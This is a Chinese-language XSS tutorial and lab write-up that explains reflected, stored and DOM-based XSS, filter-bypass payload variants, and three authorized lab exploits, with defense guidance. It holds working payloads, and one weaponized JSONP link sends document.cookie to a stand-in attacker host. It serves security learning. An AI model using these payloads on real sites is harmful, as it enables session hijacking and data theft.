XSS 的本质只有一句话:浏览器把攻击者输入的"数据",当成了"代码"来执行。本文从基础概念讲到三个靶场实战:属性逃逸、JSONP 劫持、登录框反射型。
⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。
一、XSS 基础
1.1 什么是 XSS
全称:Cross-Site Scripting(跨站脚本攻击)
原理:网站对用户输入的过滤不足,攻击者把恶意代码(通常是 JavaScript)注入到网页中。其他用户浏览这个页面时,嵌入其中的恶意代码就会被浏览器执行。
两个核心要素:
| 要素 | 说明 |
|---|---|
| 用户输入不可信 | 任何来自用户的内容都可能是攻击载荷 |
| 输出未经过滤 | 数据被原样拼进 HTML,于是变成了代码 |
📌 和 SQL 注入对照着记:SQL 注入是让数据库把数据当命令执行,XSS 是让浏览器把数据当代码执行。病根完全一样——数据越界成了代码。
1.2 为什么缩写是 XSS 而不是 CSS
因为CSS 这个缩写已经被"层叠样式表"(Cascading Style Sheets)占用了。为了在书面表达上不混淆,安全领域把 Cross-Site Scripting 缩写为XSS。
1.3 三种主要类型
| 类型 | 是否持久化 | 触发条件 | 典型场景 |
|---|---|---|---|
| 反射型 | ❌ 非持久 | 需要诱导受害者点击恶意链接 | 搜索框、错误提示页、登录失败回显 |
| 存储型 | ✅ 持久 | 访问页面即触发,无需点击 | 留言板、评论区、用户资料页 |
| DOM 型 | ❌ 非持久 | 浏览器端 JS 处理数据时触发 | 前端路由、动态渲染 |
逐条说明:
反射型:恶意代码作为请求参数(如 URL 参数)发给服务器,服务器把它原样"反射"回响应页面。一次访问通常只影响一个用户。
存储型:恶意代码被存进服务器(数据库、文件系统),所有访问该页面的用户都会中招,危害最大。
DOM 型:不经过服务器端解析,是浏览器 JS 动态修改 DOM 树造成的。详见第三章。
1.4 危害
窃取用户 Cookie →账户劫持
会话劫持(Session Hijacking)
篡改网页内容(钓鱼、挂马)
键盘记录、窃取隐私
结合 XSS 发起 CSRF 攻击
二、常用 Payload 与变形
2.1<script>alert(1)</script>:最简单粗暴的明牌
翻译成大白话:"浏览器,立刻执行一段脚本,给我弹个写着 1 的框!"
| 片段 | 作用 |
|---|---|
<script> | HTML 的"代码执行区"入口,告诉浏览器接下来是代码而不是文字 |
alert(1) | JS 最基础的弹窗命令,1是弹窗显示的内容 |
</script> | 代码执行区到此结束 |
打个比方:好比你去别人的留言板上留言,没写字,而是贴了张纸条写着"请朗读以下内容:啊!"。网站没做防护,下一个来看留言的人,浏览器读到纸条就乖乖念了出来。
2.2<img src=x onerror=alert(1)>:伪装成图片的陷阱
翻译成大白话:"浏览器兄弟,请你尝试加载一张名叫 x 的图片。如果找不到(肯定找不到),就立刻给我弹个框!"
| 片段 | 作用 |
|---|---|
<img> | 网页里最普通、最无害的标签,防御系统常常对它放松警惕 |
src=x | 图片地址故意写成一个不存在的x,加载必然失败 |
onerror=alert(1) | 陷阱核心:onerror是"出错就执行"的事件,加载失败即触发 |
优势:不需要用户交互,而且在过滤了<script>标签的环境里依然有效。
2.3 常见变形
| 思路 | 示例 |
|---|---|
| 换事件 | <svg onload=alert(1)>、<input autofocus onfocus=alert(1)>、<details open ontoggle=alert(1)> |
| 伪协议 | <a href="javascript:alert(1)">click</a> |
| 大小写混合 | <ScRiPt>alert(1)</ScRiPt> |
| URL 编码 | %3Cscript%3Ealert(1)%3C/script%3E |
| 双写绕过 | <scr<script>ipt>alert(1)</script> |
| 空格替代 | <img/src=x/onerror=alert(1)>(用/顶替空格) |
💡 双写绕过的原理:过滤器只把
<script>删除一次(非递归),所以<scr<script>ipt>删掉内层后正好拼回<script>。
⚠️
alert(1)只用于验证漏洞是否存在,它本身不是攻击目标。真正的危害在第六章的"数据外带"。
三、DOM 型 XSS:Source 与 Sink
3.1 漏洞本质:从 Source 到 Sink 的无过滤传递
| 概念 | 含义 | 常见例子 |
|---|---|---|
| Source(源) | 攻击者可控的数据入口 | location.hash、location.search、document.referrer、输入框 |
| Sink(汇聚点) | 把数据当代码 / HTML 处理的地方 | innerHTML、document.write、eval、setTimeout(字符串) |
一句话:漏洞 = Source 的数据,无过滤地流进了 Sink。
前端 JS 拼接字符串时,如果没有对用户输入做HTML 实体编码,浏览器就会把输入的"字符串"当成"HTML 代码"来解析。
3.2 攻击手法的演进
| 阶段 | 手法 | 示例 | 对应防御 |
|---|---|---|---|
| 初级 | 利用伪协议 | javascript:alert(1) | 只允许http://、https://开头的链接 |
| 进阶 | 闭合标签注入 | "><img src=x onerror=alert(1)> | 对输入做 HTML 实体编码 |
3.3 为什么 DOM 型最隐蔽
危险逻辑全部在浏览器端执行,服务器可能只是收到一次普通请求:
如果数据来自 URL 的
#片段,连服务器都收不到(#后面的内容不会发送给服务器)服务器日志里看不到攻击特征 → 传统服务端 WAF 很难拦截
四、实战一:属性上下文逃逸
靶场提示:有的时候你需要闭合字符串才可以。
4.1 第一轮:直接注入,撞上防弹衣
提交最经典的 payload:
<img src=x onerror=alert(1)>结果:没有弹窗,代码被当成普通文本原样显示在页面下方的留言区。
这说明有两种可能:
前端用了安全函数(
innerText/textContent)来插入数据输入被放进了某个标签的属性值里
抓包验证:输入被 URL 编码后(%3Cimg%20src...)发给服务器,服务器原封不动返回了这段文本。这说明漏洞点不在后端过滤,而在前端 JS 处理数据的方式上——典型的 DOM 型 XSS。
4.2 第二轮:用引号探测包裹方式
既然直接注入不行,说明前端代码大概长这样:
element.innerHTML = '<input value="' + userInput + '">'要突破,就得先用特殊字符提前结束属性的引号。先试单引号:
'><img src=x onerror=alert(1)>依然只显示为文本→ 说明前端是用双引号包裹的,单引号不匹配。
4.3 第三轮:换成双引号,成功破防
"><img src=x onerror=alert(1)>浏览器解析到独立的<img>标签 → 尝试加载图片x失败 → 触发onerror→弹窗成功,拿到 Flag。
4.4 拼出来的 HTML 到底长什么样
假设前端代码是:
var html = '<input type="text" value="' + userInput + '">';代入 payload 后,拼出的 HTML 变成:
<input type="text" value=""><img src=x onerror=alert(1)>">| 片段 | 干了什么 |
|---|---|
" | 闭合value属性的双引号 |
> | 闭合整个<input>标签 |
<img ...> | 逃出牢笼,成为独立的 HTML 标签 |
结尾的"> | 变成无意义的残留文本,不影响执行 |
4.5 关键细节:闭合符必须与包裹引号配对
这是实战中最容易踩的坑:
| 属性写法 | 正确的闭合符 | 写错的后果 |
|---|---|---|
value="..." | "> | 用'>无效,'只是属性值里的普通字符 |
value='...' | '> | 用">无效 |
⚠️DevTools 的坑:开发者工具展示 DOM 时,会把属性统一显示成双引号,不管你源码里用的哪种。所以判断包裹方式要看服务器返回的原始源码(右键"查看网页源代码"),而不是 Elements 面板。
一个反例:如果模板是<a href="你的输入">testLink</a>,你输入'><img src=1 onerror=alert(1)>,拼出来是:
<a href="'><img src=1 onerror=alert(1)>">testLink</a>单引号在双引号属性值内部只是普通字符,整个 payload 依然被关在href里,不会触发。
4.6 防御要点
| 措施 | 说明 |
|---|---|
| 避开危险 Sink | 别用innerHTML/document.write渲染用户输入,改用textContent |
| 用 DOM API 代替拼字符串 | createElement+setAttribute,而不是拼 HTML 字符串 |
| 上下文编码 | 必须拼接时,按输出位置做实体编码("→"、<→<) |
五、实战二:JSONP 跨域数据劫持
5.1 背景:同源策略的枷锁
| 概念 | 说明 |
|---|---|
| 同源策略 | 浏览器最核心的安全机制:a.com的网页不能读取b.com的数据。没有它,你逛淘宝时,淘宝网页就能偷读你网银的信息 |
| 跨域需求 | 但开发中经常要跨域取数据,比如前端在a.com、API 在api.b.com |
| 浏览器的"后门" | 同源策略限制的是 Ajax,但不限制<script>标签的src——互联网早期就是靠<script src="https://cdn.com/jquery.js">加载外部 JS 的 |
JSONP 的诞生:开发者灵机一动——既然<script>能跨域加载 JS 代码,那让服务器把数据伪装成 JS 代码返回不就行了?于是 JSONP(JSON with Padding)出现了。
5.2 正常工作时长什么样
假设a.com想拿b.com的用户数据,四步走:
第一步:前端先定义好回调函数
function handleData(data) { console.log("我拿到了数据:", data); }第二步:动态创建<script>标签
<script src="https://b.com/api/getUser?callback=handleData"></script>callback=handleData就是告诉服务器:"把数据用handleData()包起来再发给我!"
第三步:服务器拼接后返回
// b.com 返回的内容:不是纯 JSON,而是一段 JS handleData({"name": "Alice", "age": 18});第四步:浏览器自动执行
<script>加载完会自动执行,正好调用了本地已定义好的handleData,数据成功跨域拿到。
5.3 漏洞成因
JSONP 有个致命缺陷:服务器极度信任callback参数和数据内容,并且用简单的字符串拼接。
一旦没有严格过滤,攻击者就能篡改这段拼接逻辑。
5.4 场景一:篡改 callback(最经典)
服务器代码:
return request.args.get('callback') + "(" + json_data + ")"攻击者把 URL 改成:
https://b.com/api/getUser?callback=alert(1)//服务器返回:
alert(1)//({"name": "Alice"})浏览器执行时:先执行alert(1)弹窗,后面的//把剩余内容全部注释掉,避免语法错误。
5.5 场景二:篡改数据内容(本次靶场)
这次callback被固定为handleJsonpData,但user参数(数据内容)没有转义,直接拼进了 JSON。
服务器代码逻辑(类似 Flask):
user_input = request.args.get('user') ts = int(time.time() * 1000) return f'handleJsonpData({{"code": 200, "data": {{"username": "{user_input}"}}, "timestamp": {ts}}})'输入 payload:
test"}, alert(1)//拼接后返回:
handleJsonpData({"code": 200, "data": {"username": "test"}, alert(1)//", "timestamp": 1789912034165}})越狱过程逐步拆解:
| 顺序 | 字符 | 作用 |
|---|---|---|
| 1 | " | 闭合"test"这个字符串 |
| 2 | } | 闭合data对象 |
| 3 | , | 为handleJsonpData提供第二个参数的分隔符 |
| 4 | alert(1) | 作为第二参数被求值执行 |
| 5 | // | 注释掉后面所有代码,保持语法完整 |
📌 注意:函数的参数在调用前就会被求值,所以
alert(1)即使只是"一个参数",也一样会执行。
5.6 武器化:从弹窗到窃取 Cookie
真实攻击中不会手动去浏览器里敲代码,而是把漏洞变成一个恶意链接:
https://b.com/api/getUser?callback=handleJsonpData&user=test"},%20fetch('https://hacker.com/steal?cookie='+document.cookie)//攻击步骤:
找接口:发现
b.com某个 JSONP 接口存在漏洞造链接:把
alert换成窃取 Cookie 并外发的代码诱导点击:通过钓鱼邮件、论坛发帖、聊天工具发给受害者,或嵌入恶意第三方网页
触发执行:受害者点开链接 / 打开恶意网页,浏览器自动请求该 URL 并执行返回的 JS
数据窃取:Cookie 被发送到攻击者服务器,攻击者据此登录受害者账户
5.7 防御要点
① 严格校验 callback 参数(白名单)
只允许字母、数字、下划线:
import re callback = request.args.get('callback') if not re.match(r'^[a-zA-Z0-9_]+$', callback): return "Invalid callback", 400这样alert(1)、test"},这类含特殊字符的 payload 会直接被拒。
② 用标准库做 JSON 序列化,不要手拼字符串
import json data = {"username": user_input} safe_json = json.dumps(data) return f"handleJsonpData({safe_json})"json.dumps()会自动把数据里的双引号转义成\",test"},会变成test\"},,无法逃逸出字符串。
③ 设置正确的响应头
Content-Type: application/javascript; charset=utf-8防止浏览器把返回内容当成 HTML 解析(若按 HTML 解析,注入<img>也可能触发 XSS)。
④ 放弃 JSONP,改用 CORS
JSONP 已是过时技术。现代方案是CORS(跨域资源共享):通过 HTTP 头(如Access-Control-Allow-Origin)控制跨域权限,不需要把数据伪装成 JS,从根上避免了拼接带来的 XSS 风险。
六、实战三:登录框反射型 XSS
6.1 信息收集:从 SQL 注入尝试到发现回显
抓包分析:F12 的 Network 面板看到登录请求格式 ——POST /login,参数为username、password、captcha。
先试 SQL 注入:经典的万能密码' or 1=1 #失败了。这反过来说明后端可能用了参数化查询,或者对单引号做了转义 ——可以排除 SQL 注入了。
再试 XSS:在用户名框输入<script>alert(1)</script>,没有弹窗。但在响应包里发现了关键线索:输入被回显到了 HTML 的value属性中。
6.2 定位漏洞点
回显机制:登录失败后,页面会"记住"你输入的用户名并填回输入框 —— 这是典型的反射型 XSS场景。
防御观察:服务器把
<和>转义成了<和>(HTML 实体编码),说明有基础防御。但是:双引号
"没有被转义—— 这就是突破点。
6.3 上下文分析与逃逸
输入被放在<input value="你的输入">里,也就是HTML 属性上下文。要执行 JS,必须先"越狱"。
Payload:
"><img src=x onerror=alert(1)>原理拆解:
| 片段 | 作用 |
|---|---|
" | 闭合value属性的双引号 |
> | 闭合<input>标签 |
<img src=x onerror=...> | 注入独立的 HTML 标签,加载失败触发onerror |
6.4 进阶利用:用 fetch 把数据带出来
拿到 XSS 后没有停在alert(1),而是继续窃取隐藏的 Flag:
"><img src=x onerror="alert(document.cookie);fetch('/flag').then(r=>r.text()).then(d=>alert(d))">| 片段 | 作用 |
|---|---|
alert(document.cookie) | 验证 XSS 执行成功,同时测试能否读取敏感 Cookie(没设 HttpOnly 就能劫持会话) |
fetch('/flag') | 用 Fetch API 发起同源内部请求,读取只有特定权限才能访问的接口 |
.then(r => r.text()) | fetch返回的是 Promise,需要.then提取响应体文本 |
.then(d => alert(d)) | 拿到数据后再弹窗显示 |
💡 这一步才是 XSS 的真正价值:从"弹个框证明存在"升级到"把数据偷出来"。
6.5 防御要点
| 措施 | 说明 |
|---|---|
| 回显必须编码 | 把用户输入写回 HTML 前做实体编码,"转成"后">就失效了 |
| 敏感 Cookie 加 HttpOnly | 即使 XSS 成功,document.cookie也读不到会话 ID |
七、XSS 防御总览
7.1 核心原则
永远不要信任用户的输入,对输出进行严格的上下文编码。输入验证是辅助,输出编码才是主力。
7.2 按输出位置选择编码方式
不同上下文的编码规则不同,这是最容易做错的地方:
| 输出位置 | 示例 | 编码要求 |
|---|---|---|
| HTML 标签之间 | <div>用户输入</div> | 转义&、<、>、"、' |
| HTML 属性内 | <input value="用户输入"> | 同上,且属性值必须加引号 |
| JS 变量内 | var a = "用户输入"; | 用 JSON 序列化,不要直接拼 |
| URL 参数内 | <a href="/x?q=用户输入"> | 做 URL 编码 |
Python 示例:
import html safe = html.escape(user_input) # " -> " < -> < > -> > & -> &7.3 各项防御措施
| 措施 | 说明 | 定位 |
|---|---|---|
| 输出编码 | 按上述上下文规则编码,浏览器只会把它当文本 | ⭐最有效 |
| 输入验证 | 白名单机制,如电话字段只允许数字 | 辅助 |
| HttpOnly Cookie | Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax,JS 读不到会话 | 降低危害 |
| CSP | 限制资源来源、不配置unsafe-inline(禁止内联脚本与内联事件) | 兜底 |
| 现代框架 | React / Vue / Angular 默认转义数据 | 默认安全 |
| 避免危险 Sink | 少用innerHTML、document.write、eval | 治本 |
CSP 响应头示例:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'⚠️框架不是万能的:Vue 的
v-html、React 的dangerouslySetInnerHTML都会绕过默认转义。名字里带dangerously不是开玩笑的。
7.4 一句话收尾
XSS 就是让浏览器把攻击者输入的"数据"当成了"代码"来执行。防御的核心,就是确保数据永远是数据。
八、总结与进阶路径
8.1 三个靶场串起来看
| 靶场 | 考点 | 逃逸手法 |
|---|---|---|
| 属性上下文逃逸 | 闭合属性引号 | ">+ 新标签 |
| JSONP 劫持 | 闭合 JS 字符串 / 对象 | "},+ 新语句 +// |
| 登录框反射型 | 闭合 HTML 属性 | ">+ 新标签 +fetch外带 |
共同套路:找到输入落点 → 判断包裹字符 → 闭合逃逸 → 注入代码 → 数据外带。
🚀最后提醒:XSS 的三种类型触发方式不同,但利用思路是相通的——找到数据变成代码的那一刻。把"找落点 → 判断上下文 → 闭合逃逸"这条主线吃透,遇到新场景只需换 payload。